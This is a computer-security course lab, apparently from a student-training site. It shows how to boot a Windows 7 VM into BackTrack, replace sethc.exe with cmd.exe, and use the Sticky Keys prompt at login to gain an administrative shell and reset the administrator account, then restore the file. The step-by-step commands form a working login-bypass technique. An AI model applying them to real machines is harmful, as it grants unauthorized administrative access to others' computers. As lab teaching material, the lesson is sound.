(Password
Clearing:
Lesson 2)
{ Use BackTrack to
Replace sethc.exe with cmd.exe }
Section 0. Background
Information |
- What is sethc.exe
- sethc.exe is a program that controls some
the accessibility options for disabled people to read the login prompt.
- The accessibility option is invoked by
clicking in the Windows Password Box and pressing the shift key 5 times.
- From the windows login screen, winlogon.exe
launches sethc.exe that provides the aforementioned accessibilities
options.
- Consequently, sethc.exe can be compromised,
since the winlogin.exe does not exactly check what is launched when
pressing the shift key 5 times in the password text box.
-
Lab Notes
- In this lab we will do the following:
- Download the BackTrack5R1 iso
- Boot Windows 7 VM into the BackTrack5R1 Environment
- Mount the Windows Hard Drive in the
BackTrack Environment
- We will copy compromise sethc.exe by
replacing it with cmd.exe
- We implement the exploit by pressing
shift 5 times.
- We will active and reset the
administrative account.
- Prerequisites
- Legal Disclaimer
- As a condition of your use of this Web
site, you warrant to computersecuritystudent.com that you will not use
this Web site for any purpose that is unlawful or
that is prohibited by these terms, conditions, and notices.
- In accordance with UCC § 2-316, this
product is provided with "no warranties, either express or implied." The
information contained is provided "as-is", with "no guarantee of
merchantability."
- In addition, this is a teaching website
that does not condone malicious behavior of
any kind.
- Your are on notice, that continuing
and/or using this lab outside your "own" test environment
is considered malicious and is against the law.
- © 2012 No content replication of any
kind is allowed without express written permission.
Section 1. Download
the BackTrack5R1 ISO |
- Open A Firefox Browser
- Notes:
- Login to the machine that has VM Player
Installed.
- Instructions:
- Click on the Windows Start Button
- Type firefox in the search box
- Click on Mozilla Firefox
- Open A Firefox Browser
- Instructions:
- Place the following address in the
Firefox Browser
- Click the Save File Radio Button
- Click OK to download
- Navigate and Save
- Instructions:
- Navigate to your external USB hard
drive.
- Create a directory call
BackTrack-ISO on your
- Click Save
Section 2. Start
your Windows 7 VM |
- Edit Virtual Machine Settings
- Instructions:
- Click on Windows 7
- Click on Edit virtual machine
- Configure CD/DVD (IDE)
- Instructions
- Configure CD/DVD (IDE)
- Click the radio button "Use ISO
image file:"
- Click the Browse button and Navigate to
the location of the
BT5R1-GNOME-32.iso
- Click the Okay button
- Start Windows 7
- Instructions:
- Click on Windows 7
- Click on Play virtual machine
- Access the Boot Menu
- Instructions
- Once you see the below vmware screen,
(1) Left Click in the screen and (2) press the <Esc> key.
- Boot from CD-ROM Drive
- Instructions
- Arrow Down to where CD-ROM Drive is
highlighted
- Press <Enter>
Section 3. Using
the BackTrack Live CD |
- Press any key to enter the menu
- Instructions
- Press <Enter>
- Select BackTrack Text
- Instructions
- Select BackTrack Text - Default Boot
Text Mode.
- Mount the Windows Hard Drive
- Instructions
- fdisk -l
- mount -t ntfs /dev/sda1 /mnt
- View Windows File System
- Instructions
- df -k
- Note(FYI):
- Notice the /mnt directory is mounted on
the /dev/sda1 filesystem (a.k.a., disk)
-
- Navigate to the Windows/System32 Directory
- Instructions
- cd /mnt
- ls
- cd Windows/System32/
-
- Replace sethc.exe with cmd.exe
- Instructions
- cp sethc.exe sethc.exe.bkp
- cp cmd.exe sethc.exe
- cd /
- umount /mnt
- reboot
- Press <Enter>
- Notes (FYI)
- If you do not have an IP Address, do the
following:
- /etc/init.d/network restart
OR
- dhclient eth0
-
Section 4. Implement
the Accessibility Option |
- Implement the Accessibility Option
- Instructions
- In the password box, Press the Shift
Key 5 Times
- Do you want to turn on Sticky Keys?
- Instructions:
- Click No
- Administrative Command Prompt
- Note(FYI):
- Now you will see an administrative
command prompt.
- Instructions:
- net user administrator * /active:yes
- shutdown -r -t 5 -c "Nice Trick"
- Login as Administrator
- Instructions
- Click the Administrator account
- Note(FYI)
- Previously, only Security Student was
the active account.
- Administrator Password
- Instructions
- Provide the password created in
(Section 4, Step 3).
- Open A Command Prompt
- Instructions
- Click on the Start Button
- Type "cmd" in the search box
- Click on cmd
- Proof of Lab Instructions
- Instructions:
- net user administrator
- date
- Press <Enter>
- echo "Your Name"
- Replace the string "Your Name" with
your actual name.
- e.g., echo "John Gray"
- Do a PrtScn
- Paste into a word document
- Upload to Moodle
Section 6. Post Lab
Restore Work |
- Access Virtual Machine Settings
- Instructions:
- Virtual Machine --> Virtual Machine
Settings...
- Configure CD/DVD (IDE)
- Instructions
- Configure CD/DVD (IDE)
- Check the Connect at power on checkbox
- Click the radio button "Use ISO image
file:"
- Click the Browse button and Navigate to
the location of the
BT5R1-GNOME-32.iso
- Click the Okay button
- Restart Windows
- Instructions
- Click Start Button
- Click Restart
-
- Access the Boot Menu
- Instructions
- Once you see the below vmware screen,
(1) Left Click in the screen and (2) press the <Esc> key.
- Boot from CD-ROM Drive
- Instructions
- Arrow Down to where CD-ROM Drive is
highlighted
- Press <Enter>
- Press any key to enter the menu
- Instructions
- Press <Enter>
- Select BackTrack Text
- Instructions
- Select BackTrack Text - Default Boot
Text Mode.
- Mount the Windows Hard Drive
- Instructions
- fdisk -l
- mount -t ntfs /dev/sda1 /mnt
- View Windows File System
- Instructions
- df -k
- Note(FYI):
- Notice the /mnt directory is mounted on
the /dev/sda1 filesystem (a.k.a., disk)
-
- Navigate to the Windows/System32 Directory
- Instructions
- cd /mnt
- ls
- cd Windows/System32/
-
-
Restore sethc.exe
- Instructions
- cp sethc.exe.bkp sethc.exe
- cd /
- umount /mnt
- poweroff
- Press <Enter>
-
|
 
|